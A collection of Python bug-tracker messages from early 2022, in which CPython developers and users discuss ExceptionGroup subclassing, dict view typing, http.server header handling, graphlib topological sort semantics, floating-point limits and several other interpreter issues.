I don't think you're supposed to close the queue more than once. The documentation can be improved on that. Currently the documentation of close is:
close()
Indicate that no more data will be put on this queue by the current process. The background thread will quit once it has flushed all buffered data to the pipe. This is called automatically when the queue is garbage collected.
https://docs.python.org/3/library/multiprocessing.html#multiprocessing.Queue.close
That could be read to imply to each process needs to indicate when it is done.

I share concerns of Inada-san. I also think that keeping a status quo (ignoring the mapping attribute in typing) is the lesser evil. I am not sure that exposing this attribute was a good idea. We do not expose attributes list and index for list iterators.

Subject: [issue46431] Trouble subclassing ExceptionGroup
Message-ID: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org>
New submission from Petr Viktorin <encukou at gmail.com>:
I want to test a web application by crawling every reachable page. If an error occurs, I need to keep track of the page the error occured at (and additional info like what links were followed to get to the page, so a `__note__` string isn't enough). This info is in an object I'll call Task.
To use the improvements from PEP 654 but also keep extra info, I tried to make a subclass of ExceptionGroup:
```python
class MultiError(ExceptionGroup):
def __init__(self, failed_tasks):
super.__init__(
f"{len(tasks)} tasks failed",
[t.exception for t in failed_tasks],
)
self.tasks = tasks
# ... and set __note__ on each exception for nice tracebacks
```
but this fails with a rather opaque message:
```python
>>> class Task: exception = AssertionError() # enough of a Task for this example
...
>>> MultiError([Task(), Task()])
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: function takes exactly 2 arguments (1 given)
```
Knowing about `__new__` and following a note in the docs, I'm able to fix this, but It's not obvious.
Before suggesting stuff, I'll ask: Am I doing something weird, or should this be made easier/more obvious?
Another issue I ran into: the list of exceptions is stored in the publicly-named but undocumented attribute `exceptions`. Am I allowed to use it?

Irit Katriel <iritkatriel at gmail.com> added the comment:
We probably do need better documentation for subclassing ExceptionGroup.
When you subclass an ExceptionGroup you want to make sure that split() and subgroup() (which are used by except*) will continue working, usually by defining a derive() method:
https://docs.python.org/3.11/library/exceptions.html#BaseExceptionGroup.derive
If you don't define derive the superclass constructor is used, which means you get something of type ExceptionGroup, not your subclass.
I don't know whether it's a good idea to make it easier to define a subclass that doesn't support split()/except* because ti changes the constructor signature without providing derive().

Changing the existing functions is a no-go for backwards compatibility reasons. I think the best way forward would be to add a new function, and then possibly deprecate the old one if it's deemed dangerous.
If you want to push this forward, could you summarize the use case(s) and expected behavior (docs) for such a function? It probably doesn't need a PEP, but it's worth looking here for what to think about when making a proposal: https://www.python.org/dev/peps/pep-0001/#what-belongs-in-a-successful-pep

For your use case - can you just assign the task to a field on the exception other than __note__? The only reason we needed __note__ as an official feature is because we want the interpreter's traceback code to use it. But I think you can assign any field to an exception and then use it in your app:
e.webapp_task = task

That might be fine in my case (for a MVP at least). Is there any other danger in not overriding it?
I see the docs say "A subclass needs to override it", but it might be better to enumerate the perils, or if such a class is unusable, not allow creating it.

That might work, but I'm afraid of touching namespaces I don't own. If the subclass is feasible, I'd rather go with that.

Message-ID: <1642606725.15.0.0293351792014.issue46399@roundup.psfhosted.org>
Jelle Zijlstra <jelle.zijlstra at gmail.com> added the comment:
I see the concerns about exposing too many implementation details.
But I'm also not sure how much this will really help static typing use cases. Alex's examples just call super().keys(), but if you do that, there's not much point in overriding keys() in the first place.
These classes don't allow subclassing or instantiation:
>>> t = type({}.items())
>>> class X(t):
... pass
...
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: type 'dict_items' is not an acceptable base type
>>> t({})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: cannot create 'dict_items' instances
So I can't think of much useful, well-typed code that you could write if these classes were public. For a use case like SortedDict, you'd still need to write your own class implementing KeysView, and you'd get an error from the type checker because it's incompatible with dict_keys.

Subject: [issue46433] _PyType_GetModuleByDef optimization is incorrect
Message-ID: <1642607197.61.0.0970144809853.issue46433@roundup.psfhosted.org>
New submission from Petr Viktorin <encukou at gmail.com>:
I'm looking at the _PyType_GetModuleByDef optimization in https://github.com/python/cpython/pull/25504/files -- previously I assumed it's OK since it passed review.
But it doesn't look correct:
- in the `_PyType_HasFeature` assert, we should be looking at `super` rather than `type`
- it's definitely possible that a hear type has a static type in the MRO -- `object`, at least. The `(PyHeapTypeObject*)super` cast is invalid in the case when the module is not found. And it's *also* incorrect in some cases of diamond inheritance, when a static type comes before the type we're looking for in `bases`.
It also adds a precondition that's not feasible public API, which this was meant to become: it should be callable with any type object. That's possible to do by keeping faster internal API and adding a public version with checks, but the diamond inheritance problem remains. Py_TPFLAGS_HEAPTYPE needs to be checked at runtime (except for the first iteration, if we're sure we're handling a static type).
Does that analysis sound right?

Perhaps we should have a more generic check for `command.__doc__` as it appears this is a case not handled by the existing `sys.flags.optimize >= 2` check?

Subject: [issue46436] Pass the -d/--directory command-line option to
http.server.CGIHTTPRequestHandler
Message-ID: <1642613980.51.0.0570385311323.issue46436@roundup.psfhosted.org>
New submission from G?ry <gery.ogam at gmail.com>:
The API of [`http.server`](https://docs.python.org/3/library/http.server.html) supports the `directory` optional parameter for `CGIHTTPRequestHandler` (which is inherited from `SimpleHTTPRequestHandler`). The CLI of `http.server` supports the corresponding `-d/--directory` option.
The `-d/--directory` option is passed to `SimpleHTTPRequestHandler` as the `directory` argument:
> python -m http.server --directory /tmp/
But the `-d/--directory` option is not passed to `CGIHTTPRequestHandler` (which is enabled with the `--cgi` option):
> python -m http.server --directory /tmp/ --cgi
So the option is ignored in that case.

Message-ID: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
There are several legacy `hasattr` checks that are always `True` in newer Python versions:
1. https://github.com/python/cpython/blob/d45cd2d20770f72a000ba6dfa9ac88dd49423c27/Lib/test/test_typing.py#L3516

I think it is safe to delete them.

I would definitely vote for implementing this enhancement. I have just ran into the very same issue and my search ended here. Using dictConfig e.g. with lambdas seems very natural to me and I understood the docs incorrectly exactly as had been reported.

This appears to have been a duplicate of #35107, where the failing example was '#' and it was NL, NEWLINE pair was noted. So this either predates 3.9 or was re-introduced. In any case, thanks for the fix.

Subject: [issue46440] ArgumentParser.parse_args exits on missing required
argument with exit_on_error=False
Message-ID: <1642626270.03.0.621125172575.issue46440@roundup.psfhosted.org>
New submission from Daniel Schulte <trilader at schroedingers-bit.net>:
When calling ArgumentParser.parse_args(list_of_things_to_parse) sys.exit gets called even though the parser was constructed with exit_on_error=False. It doesn't matter if the parser has any subparsers added or not.
The docs say
> Normally, when you pass an invalid argument list to the parse_args()
> method of an ArgumentParser, it will exit with error info.
> If the user would like to catch errors manually, the feature can be
> enabled by setting exit_on_error to False:
> [example code follows]
The docs make me believe what I'm trying to do should work.
I've attached a minimal working example to show what happens (with and without subparsers).

The timeout is mentioned in the documentation of create_connection, and of its getter and setter. It applies to many operations on the socket, but not mentioned for each method. Since it's pretty standard to have a timeout for network operations, I think the documentation is fine as it is.

Steve Dower <steve.dower at python.org> added the comment:
I'm afraid not. The ._pth file is intended for embedding applications that have a static set of search paths.
You may want to try adding a startup file (search for PYTHONSTARTUP) that modifies sys.path directly. Or alternatively if you rename the ._pth file to a regular .pth file, it should disable the isolation protection and use the more flexible algorithm, which *I believe* will resolve relative paths against the current directory rather than where the file lives.

FYI this regression was handled last year in bpo-44348 "test_exceptions.ExceptionTests.test_recursion_in_except_handler stack overflow on Windows debug builds" and fixed at 2021-09-07 by using the trashcan mecanism in the BaseException deallocator function:

Message-ID: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org>
New submission from Yellow Dusk <yellow.dusk1590 at fastmail.com>:
testExceptionCleanupNames() is supposed to test that the local variable bound to the exception instance is only visible inside the except block, and tests that by checking whether the name is in locals(), but it actually deletes the name before that, so it appears it isn't testing what it's supposed to be testing.
```
try:
raise Exception()

FWIW I just ran into this today on Ubuntu 18.04 container on GKE 1.21.5-gke.1302 and on a Ubuntu-with-Docker underlying node (if that's relevant). Applying the monkeypatch solves the issue as well.

I modified the systems /etc/make.conf for unrelated purposes today (adding in LASTCFLAGS among other variables).
Why and how Pythons build is inheriting that is the bigger question. I wonder if its buildbot environment related.
In the short term I've removed the variables from /etc/make.conf and I have initiated a rebuild.
Please leave this issue open

It saves space in the codeobjects created by deepfreeze and reuses already cached ints so no allocation overhead.

function
Message-ID: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org>
New submission from Darshan Kanade <kanadedarshan at gmail.com>:
I was solving this problem to find the approximate value of pi using the Archimedes method using two different logics -
1) The first one used the formula pi = k*cos(90-180/k) but when I gave very large input, say k=2**62 sides of polygon, then it gives the value of pi as 282.3843260569851... for comparatively smaller k=1000000 it is around 3.14
2)Because the first one was giving wrong answer for larger values, I googled for solution and came across this other logic using the formula pi = k * sin(180/k).
In this method, we get values of pi around 3.14 no matter how large the input is, even if it is k=2**62!

Arguments of cos() and sin() should be in radians, not in degrees. So the correct formulas are k*cos(pi/2-pi/k) and k*sin(pi/k). They are useless because to find the pi approximation you need to know pi.

In the program, I did convert degrees to radians
So, this was what I used-
1)pi = k*math.cos(math.radians((90 - 180/k)))
2)pi = k*math.sin(math.radians(180/k))
where k=2**62

The issue is that pi = k*math.cos(math.radians((90 - 180/k))) is giving wrong answer(289.384326...) for larger values of k, say k=2**62, but for smaller values say, k=1000000 it is giving correct answer(3.14....)
pi = k*math.sin(math.radians(180/k)) on the other hand gives correct answer for any value of k (be it k=2**62 or k=1000000)

The discussion in https://github.com/python-attrs/attrs/pull/420 on the weakref slot is very interesting as well.
Considering __weakref__ is something we don't want to make impossible in dataclasses, @eric.smith what would be your preferred solution?

Hi Darshan. This isn't a bug in Python. You're running into the limitations of floating-point arithmetic.
There's a lot of good material on those limitations available on the web, starting with Python's own tutorial: https://docs.python.org/3/tutorial/floatingpoint.html
If you want to understand what's going on in this particular case, take a closer look at the values of 90 - 180/k when k=2**62 and k=2**63, say. Are they the same? Should they be? Why / why not?

Thanks, yes CLA should now be working its way through the system.
I guess a side question is: is it expected for docstring to have been stripped from the windows embeddable distribution, and how is that done if not with -OO? (I found --without-doc-strings but not any build scripts using it)
This patch is still valid either way I think - better to show a helpful error than to explode - but I am intrigued as to the reason behind this case, deliberate or not. e.g. is there an assumption that the embed redistributable is never going to be used interactively & thus we might as well save space?

Subject: [issue43474] http.server.BaseHTTPRequestHandler end_header() fails
In-Reply-To: <1615460999.3.0.75730553286.issue43474@roundup.psfhosted.org>
Message-ID: <1642674985.77.0.976942137333.issue43474@roundup.psfhosted.org>
G?ry <gery.ogam at gmail.com> added the comment:
> http.server.BaseHTTPRequestHandler end_headers() can reference _header_buffer array before it is assigned.
@grumblor I was about to open the same bug after reading the implementation of http.server this morning and noticing that the attribute _headers_buffer of BaseHTTPRequestHandler is used in 4 methods:
- send_response_only;
- send_header;
- end_headers;
- flush_headers
but its existence is not checked only in end_headers.
> It seems like sending zero headers is not supported
@andrei.avk It is actually supported by the syntax of HTTP/1.1 messages, cf. RFC 7230, ? 3:
HTTP-message = start-line
*( header-field CRLF )
CRLF
[ message-body ]
For instance the method handle_expect_100 does not send any header:
def handle_expect_100(self):
self.send_response_only(HTTPStatus.CONTINUE)
self.end_headers()
return True
It only writes a start line (which includes \r\n) followed by an empty line (\r\n) as a response:
HTTP/1.1 100 Continue\r\n\r\n
But self.end_headers() does not raise an AttributeError here like one might expect from its implementation:
def end_headers(self):
if self.request_version != 'HTTP/0.9':
self._headers_buffer.append(b"\r\n")
self.flush_headers()
because, contrary to what its name suggests, self._headers_buffer does not only include the response headers but also the response start line, which is appended to the buffer before by self.send_response_only(HTTPStatus.CONTINUE):
def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':
if message is None:
if code in self.responses:
message = self.responses[code][0]
else:
message = ''
if not hasattr(self, '_headers_buffer'):
self._headers_buffer = []
self._headers_buffer.append(("%s %d %s\r\n" %
(self.protocol_version, code, message)).encode(
'latin-1', 'strict'))
So I am not sure it is a bug if we consider that send_response_only (which appends a start line to the buffer) is a precondition to end_headers (which appends an empty line to the buffer and flushes it). But then flush_headers should also have this precondition instead of preventing the AttributeError like this:
def flush_headers(self):
if hasattr(self, '_headers_buffer'):
self.wfile.write(b"".join(self._headers_buffer))
self._headers_buffer = []
Let?s ask Andrew Schaaf (@endian) who introduced flush_headers in Python 3.3 (cf. https://bugs.python.org/issue3709) why he implemented end_headers by contract and flush_headers defensively.

Nothing particular, just try to fit in with the existing code conventions even where they don't follow modern idioms (e.g. a lot of the code in this package predates PEP 8 and new styles of string formatting).

> I also think that keeping a status quo (ignoring the mapping attribute in typing) is the lesser evil.
Can you clarify this? There are several things that typing could do, and I don't know which option you are referring to. I listed most of them below, and I'd like to know which exactly of them "is the lesser evil".
If we literally ignore the attribute, any usage of `.mapping` will be an error, which basically makes the whole `.mapping` feature useless for statically typed code. It also wouldn't appear in IDE autocompletions.
If we add it to `KeysView` and `ValuesView`, library authors will end up using `.mapping` with arguments annotated as `Mapping` or `MutableMapping`, not realizing it is purely a dict thing, not required from an arbitrary mapping object.
If we keep `.mapping` in dict but not anywhere else, as described already, it becomes difficult to override .keys() and .values() in a dict subclass. You can't just return a KeysView or a ValuesView. If that was allowed, how should people annotate code that uses `.mapping`? You can't annotate with `dict`, because that also allows subclasses of dict, which might not have a `.mapping` attribute.
Yet another option would be to expose `dict_keys` and `dict_values` somewhere where they don't actually exist at runtime. This leads to code like this:
from typing import Any, TYPE_CHECKING
if TYPE_CHECKING:
# A lie for type checkers to work.
from something_that_doesnt_exist_at_runtime import dict_keys, dict_values
else:
# Runtime doesn't check type annotations anyway.
dict_keys = Any
dict_values = Any
While this works, it isn't very pretty.

Basically, the .pyc files in the embeddable distro have been compiled with optimize=2, which is the equivalent of -OO. So yes, docstrings (and asserts) are expected to have been removed.
It shouldn't be removing docstrings from other modules that you provide yourself.

But converting static things (types, small ints) to heap is also causing bugs :(

Anyway, for this issue: is there a way to test if the types are correctly reinitialized if there are multiple finalize/init cycles?
I worry about introducing more unexpected issues here.

> the existing check in `do_help` didn't catch this case because https://docs.python.org/3/library/sys.html#sys.flags only reflects command line flags, rather than whether or not it was actually optimised.
Precisely. Your check is much more appropriate for what the actual issue
is going to be, though keeping the existing check there means we can
provide a more specific error message when we *know* that the user
deliberately chose that behaviour.

I don't know for sure, but maybe it's trying to test "del" interacting with the fact that the "as e" part doesn't escape the "except" clause, unlike normal assignments:
>>> try:
... raise Exception
... except Exception as e:
... print('exception raised')
... foo = 1
...
exception raised
>>> foo
1
>>> e
Traceback (most recent call last):
File "<stdin>", line 1, in <module>

Subject: [issue46445] Multiple inheritance of TypedDict is not covered in
`test_typing`
Message-ID: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Why is this important?
1. Because multiple inheritance of `TypedDict` might not handle `__required_keys__`, or `__optional_keys__`, or `__annotations__` correctly, this is especially important because some classes might be defined as `total=False` and some as `total=True`
2. Some classes might be defined inline as `T = TypedDict('T', ...)`
3. Moreover, we have a special error we have to check: all superclasses must be `TypedDict`s as well (coverage shows that this error is not covered) https://github.com/python/cpython/blob/650720a0cfa1673938e6d1bad53b6c37c9edb47d/Lib/typing.py#L2328-L2331
I will send a PR for this.

In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org>
Message-ID: <1642695181.89.0.0623758589914.issue46417@roundup.psfhosted.org>
STINNER Victor <vstinner at python.org> added the comment:
If tomorrow static types are shared between sub-interpreters, it doesn't solve this problem: we still need to release memory allocated by Py_Initialize() in Py_Finalize() when Python is embedded. This issue is a sub-set of the big bpo-1635741 which explains the rationale. Again, this issue is not about sub-interpreters.
> Anyway, for this issue: is there a way to test if the types are correctly reinitialized if there are multiple finalize/init cycles? I worry about introducing more unexpected issues here.
I wasn't sure how to test it. But well, Dong-hee and you asked for tests, so I added tests for my PR ;-)

Yes, there's NODEV macro in both Linux and FreeBSD which expands to ((dev_t)-1).

Terry, for all intents and purposes you're the one in charge of IDLE now. I suggest deciding whether to change all three bindings as in the current PR or only the one for completions. Just le me know and if needed I'll make a new PR.

Subject: [issue46447] datetime.isoformat() documentation does not point to the
risk of using it with naive datetime objects
Message-ID: <1642713376.42.0.598006047552.issue46447@roundup.psfhosted.org>
New submission from Jean Carlo Machado <jean.machado at getyourguide.com>:
datetime.utcnow() already present a warning box describing the risk of using it without specifying timezone information. However, one might still have the same problem and never encounter this warning information by doing datetime.now().isoformat(). Or just by not reading the docs of datetime.utcnow, just the datetime.isoformat docs.
By adding a similar warning to the datetime.isoformat() we could make the risk clearer and reduce the likelihood of errors. Is when calling isoformat() where people get confident to be producing ISO's.
I just recently had an incident in my company where we produced naive datetimes using datetime.now() and serialized them using isoformat() while expecting them to be a transferrable ISO format. Nevertheless, the other system read the dates without Z in the end and interpreted it as local time.
If you agree that this suggestion could be a good improvement to the docs, I can send a patch in the next 2 weeks.

In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org>
Message-ID: <1642715834.77.0.799191692735.issue46071@roundup.psfhosted.org>
Tim Peters <tim at python.org> added the comment:
For the purpose of topological sorting, yes, it's by far most natural to give, for each node, the collection of that node's predecessors. And that's the way topsort applications typically collect their data to begin with, like, "here, for each recipe, is a list of ingredients needed first" or "before we can begin this job, here are the other jobs that need to complete first". or, as in makefiles, "here's a list of the targets that need to be built before we can start building the current target".
I definitely don't want to change the wording, because it's bog standard as is. For example, Wikipedia's "topological sorting" entry is typical:
"""
In computer science, a topological sort or topological ordering of a directed graph is a linear ordering of its vertices such that for every directed edge uv from vertex u to vertex v, u comes before v in the ordering.
"""
It's what topsort _means_. We did not intend to implement a "reverse topsort" algorithm, and I see no attraction to doing so, neither in pretending we did so.
If the way the user collects their data stores only successor links (which, as above, seems odd in applications that actually use topsorts), then they need something like this instead:
ts = TopologicalSorter()
for u, successors in my_forward_graph.items():
for v in successors:
ts.add(v, u)
But that's something I never needed.

New submission from jhwang <joengmin at gmail.com>:
I have Python 3.10.1 (Dec, 2021) installed and I see an error when inspecting signature of TypedDict class. This is the same issue reported on Issue43006 (msg385535 - (view)). It was marked as resolved but the error looks persistent. Can someone confirm if this was fixed or any release version with the fix?
import inspect
class T(typing.TypedDict):
a: int
print(inspect.signature(T))
was `(*args, **kwargs)` and now raises `ValueError: no signature found for builtin type <class 'dict'>`

> When cross-compiling, tools that are executed as part of the build need to be built for the tool platform, not the target platform.
My PR does not against that at this point, as proposed codes are based on your PR28322 (09b4ad11f323f8702cde795e345b75e0fbb1a9a5).
If we now need to prepare for future MSVC *on* ARM, then current _freeze_module configurations in "pcbuild.sln" also need to be reconsidered:
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Debug|ARM.ActiveCfg = Debug|Win32
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Debug|ARM.Build.0 = Debug|Win32
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Debug|ARM64.ActiveCfg = Debug|x64
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Debug|ARM64.Build.0 = Debug|x64
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGInstrument|ARM.ActiveCfg = Release|Win32
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGInstrument|ARM.Build.0 = Release|Win32
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGInstrument|ARM64.ActiveCfg = Release|x64
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGInstrument|ARM64.Build.0 = Release|x64
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGUpdate|ARM.ActiveCfg = Release|Win32
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.PGUpdate|ARM64.ActiveCfg = Release|x64
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Release|ARM.ActiveCfg = Release|Win32
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Release|ARM.Build.0 = Release|Win32
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Release|ARM64.ActiveCfg = Release|x64
{19C0C13F-47CA-4432-AFF3-799A296A4DDC}.Release|ARM64.Build.0 = Release|x64
Anyway, what I care about is the usage of "PreferredToolArchitecture" property in the current configuration.
The property has nothing to do with whether the host is ARM* or not. Another property will do in the future.
When building x86 python with 64bit compiler (set PreferredToolArchitecture=x64), _freeze_module gets a x64 executable.
The following change is acceptable?
- <Platform>$(PreferredToolArchitecture)</Platform>
+ <Platform></Platform>
They are the same with no envvar. _freeze_module is always 32bit, though.

The "reverse-toposort" is actually quite a good idea. The end-user is usually going to want to iterate over the sorted output in the "reverse" order anyways, especially if they're doing task ordering / dependency resolution.
Also, the underlying algorithm produces the "reverse" ordering by default. In my experience from writing and using my own topological sorting programs using the "correct" definition: the toposorter reverses the list, and then the users iterates over it in reverse order.

> If the way the user collects their data stores only successor links (which, as above, seems odd in applications that actually use topsorts), then they need something like this instead:
Actually they only need to do this:
ts = TopologicalSorter(my_forward_graph).static_order()
ts = reversed(ts)
I think part of the issue here is that the document uses two terms to describe the same thing: "predecessor" and "edge-direction". Everywhere it discusses predecessors it gets it right, but the edge direction is hopelessly confused because they tried to use the "normal" definition of topo-sort and the only way to make that work is to also reverse the direction of the graph's edges to compensate (and the two reversals cancel each other out).
The edge direction is only mentioned twice in the whole document, once to define topo-sort and again to define the graph format.
If the users problem fits into the task dependency paradigm, then this library makes a lot of sense. But for users who just have a directed graph, the documentation is really really confusing.
I think it would be much better if the document explained that this was a "reversed" topological sort with a slightly different definition, and used a "bog standard" graph format like for example in this tutorial: https://www.python.org/doc/essays/graphs/

Inada Naoki <songofacandy at gmail.com> added the comment:
> If we literally ignore the attribute, any usage of `.mapping` will be an error, which basically makes the whole `.mapping` feature useless for statically typed code. It also wouldn't appear in IDE autocompletions.
`.mapping` is not exist between Python 3.0~3.9. And it is not feature that is long awaited by many users.
See https://bugs.python.org/issue40890#msg370841
Raymond said:
Traditionally, we do expose wrapped objects: property() exposes fget, partial() exposes func, bound methods expose __func__, ChainMap() exposes maps, etc.
Exposing this attribute would help with introspection, making it possible to write efficient functions that operate on dict views.
Type hints is very useful for application code, especially when it is large.
But introspection is very rarely used in such typed code bases. I don't think `.mapping` is useful for many users, like `.fget` of the property.
So adding `# type: ignore` in such lines is the "lesser evil".
> If we add it to `KeysView` and `ValuesView`, library authors will end up using `.mapping` with arguments annotated as `Mapping` or `MutableMapping`, not realizing it is purely a dict thing, not required from an arbitrary mapping object.
It doesn't make sense at all, IMO.
If we really need `.mapping` in typeshed, we should add it to `KeysViewWithMapping`.
So mapping classes that don't inherit dict shouldn't be forced to implement `.mapping`.
> If we keep `.mapping` in dict but not anywhere else, as described already, it becomes difficult to override .keys() and .values() in a dict subclass. You can't just return a KeysView or a ValuesView. If that was allowed, how should people annotate code that uses `.mapping`? You can't annotate with `dict`, because that also allows subclasses of dict, which might not have a `.mapping` attribute.
`# type: ignore`.
> Yet another option would be to expose `dict_keys` and `dict_values` somewhere where they don't actually exist at runtime. This leads to code like this:
>
> from typing import Any, TYPE_CHECKING
> if TYPE_CHECKING:
> # A lie for type checkers to work.
> from something_that_doesnt_exist_at_runtime import dict_keys, dict_values
> else:
> # Runtime doesn't check type annotations anyway.
> dict_keys = Any
> dict_values = Any
>
> While this works, it isn't very pretty.
What problem this problem solve? `SortedDict.keys()` can not return `dict_keys`.
As far as I think, your motivation is making dict subclass happy with type checkers.
But this option doesn't make dict subclass happy at all.

I recently hit this issue working on a config/parsing runtime type checking library (similar in spirit to pydantic).
The one other special typeform I was using these with that led me to discover this issue was Annotated. I use Annotated a fair amount to do some runtime analysis and I was used to `Annotated[typeform]` always works. But ClassVar and Final are special and `Annotated[ClassVar[...]] `and `Annotated[Final[...]]` both fail. I find `Annotated` interaction also weird. I ended up working around it by doing `ClassVar[Annotated[...]]` and stripping the classvar/final to look for the annotation metadata.
I think all 3 of annotated/final/classvar should be order compatible as they all serve to add information on the type they contain.
If we ignore Annotated, I would say ClassVar/Final should be order compatible and a rule that Final[ClassVar[...]] works but not ClassVar[Final[...]] or vice versa would be weird.

Tim Peters <tim at python.org> added the comment:
I'm going to leave this to Pablo - adding the `graph` argument was his idea ;-)
It would, I think, have been better if this argument had been named, say, "preds" instead of "graph".
The docs, to my eyes, are entirely clear about that `graph` is a representation based on mapping a node to its predecessors:
"""
If the optional graph argument is provided it must be a dictionary representing a directed acyclic graph where the keys are nodes and the values are iterables of all predecessors of that node in the graph (the nodes that have edges that point to the value in the key).
"""
but it could perhaps be usefully emphasized that "the usual" graph representation in Python maps a node to its successors instead.
The stuff about "direction" continues to make no sense to me, though. The class computes the (forward!) topsort of the graph passed to it, given that the graph is presented as mapping nodes to predecessors. It's only "reversed" if you refuse to believe the docs, and insist that `graph` is mapping a node to its successors. But it's not.
>>> import graphlib
>>> ts = graphlib.TopologicalSorter({'A' : ['B']})
>>> list(ts.static_order())
['B', 'A']
Nothing is "reversed". The argument passed is the predecessor form of the graph B -> A, and [B, A] is the forward topsort of that graph.

This behavior is definitely unfortunate, but by now it's also been baked into more than a decade of Python 3 releases, so backward compatibility constraints make it difficult to fix.
How can we be sure this change won't break users' code?
For reference, here are a few uses of the function I found in major open-source packages:
- https://github.com/httplib2/httplib2/blob/cde9e87d8b2c4c5fc966431965998ed5f45d19c7/python3/httplib2/__init__.py#L1608 - this assumes it only ever hits the (bytes, encoding) case.
- https://github.com/cherrypy/cherrypy/blob/98929b519fbca003cbf7b14a6b370a3cabc9c412/cherrypy/lib/httputil.py#L258 - this assumes it only gets (str, None) or (bytes, encoding) pairs, which seems unsafe. But if it currently sees (str, None) and would see (bytes, None) with this change, it would break.
An alternative solution could be a new function with a sane return type.
Even if we decide to not change anything, we should document the surprising return type at https://docs.python.org/3.10/library/email.header.html.

where graph = {'A' : ['B']}
This is part that I'm objecting to. The form of the graph should be A -> B, not B -> A.
The issue with the current form is that you can not traverse the graph, at least not forwards. When I say traverse forwards I mean that you follow the edges in the direction of the arrows. If you look up 'A' in the current graph you get all of the nodes that point *to* A, but that doesn't help you get *from* A to anywhere else.
There are two conventions:
1) Graphs should be traverse-able, by following the arrows.
2) Topological sorting makes the arrows point to the right.
Convention #1 was broken to satisfy convention #2.
What is important about the topo-sort is that it makes all of the edges point in the *same* direction. It doesn't actually matter which direction that is. And credit where due, the library picked the more-useful direction. It was a pragmatic choice, driven by the real use case of dependency resolution.
But having the graph with arrows pointing in the wrong direction is going to cause endless confusion.
For an example of the confusion this causes, look at the API itself. The "add" method explicitly calls out the fact that you can add nodes with no predecessors. This is obviously also possible with the graph argument as it currently is.

New submission from STINNER Victor <vstinner at python.org>:
Using the C program below, I see that _Py_RefTotal is decreasing at each iteration:
---
#include <Python.h>
int main(int argc, char *argv[])
{
for (int i=1; i <= 100; i++) {
Py_SetProgramName(L"./_testembed");
Py_Initialize();
Py_Finalize();
printf("Loop #%d: %zd refs\n", i, _Py_RefTotal);
}
}
---
Example of output:
---
...
Loop #96: 9557 refs
Loop #97: 9544 refs
Loop #98: 9531 refs
Loop #99: 9518 refs
Loop #100: 9505 refs

It seems to be a regression caused by this change:

Before the change, _Py_RefTotal was stable:

I think you should give up on this. But suit yourself ;-)
Exactly the same information is conveyed whether representing a graph by successor or predecessor dicts. Some operations are more convenient in one representation than the other, but each is easily derived from the other.
For your

is the equal and opposite complaint that with "your" (successor) form, you cannot traverse the graph, at least not backwards.
What of it? _Some_ packages maintain both predecessor and successor dicts in lockstep. For example, Kosaraju's elegant algorithm for finding strongly connected components requires efficient traversal in both directions.
The topsort algorithm couldn't care less how you want to represent your graphs. But it does have a specific representation it requires if you want to use the optional `graph=` constructor argument. It's documented and works fine if used as documented.
> What is important about the topo-sort is that it makes all of the

Not following that. topsort applies to directed graphs, where the meanings of "predecessor" and "successor" are universally agreed upon. By definition, a topsort must begin with an element having no predecessors. The directions of the arrows are crucial to that.
> It doesn't actually matter which direction that is. And credit where due, the

Not really. It was driven by the definition of what "topological sort" means. Most of the API was actually driven by making it easy to use correctly (race-free, deadlock-free) in a dynamic (there's no way to guess from one run to the next which order will end up being used) multiprocessing context, something few topsort packages even attempt to address.
> But having the graph with arrows pointing in the wrong direction is

Starting when? ;-) Seriously, this is the first complaint I've seen, and you're not actually confused.

And what about that is confusing? If every node has to have a predecessor, a topsort can't even exist!
More generally, any usable implementation of "directed graph" has to allow for isolated nodes too. Historically, the docs pointed that out to contrast it with other APIs under consideration that required special tricks to convince the function that a graph had isolated nodes. In this API, it's dead easy: just add the node with no predecessors.
> This is obviously also possible with the graph argument as it currently is.
Of course. Are you going to seriously contend this is "a problem", but the obvious workalike for successor dicts would not be "a problem"? (In a successor dict, it's equally easy to specify a node with no successors. Good! For a total ordering to exist, there must be at least one node with no predecessor and at least one with no successor - these aren't "problems", they're essentials.)
In any case, the docs say what was intended and implemented from the start: the optional `graph` argument is a predecessor dict representation. You're not required to like that decision, but there's no case here - to my eyes - made for saying "it's a bug".

Example code to replicate issue on python 3.10.2 is attached.
How to replicate issue:
1. Define a namedtuple where all fields have default values. At least one field's default value will be an empty list: []
2. Instantiate 2 instances of the namedtuple.
3. In the first instance, use namedtuple._replace() to add a replacement list into a field that defaults to [].
4. Now look at the contents of both namedtuples. *Both* of them are modified, even though the code only modified the first object.
***
Output from attached example code:
g.P5 1: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=[], P6=[])
h.P5 1: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=[], P6=[])
Expected: g.P5: []
Actual: g.P5: []
Expected: h.P5: []
Actual: h.P5: []
g.P5 2: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=['a', 'b'], P6=[])
h.P5 2: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=['a', 'b'], P6=[])
Expected: g.P5: ['a', 'b']
Actual: g.P5: ['a', 'b']
Expected: h.P5: []
Actual: h.P5: ['a', 'b']
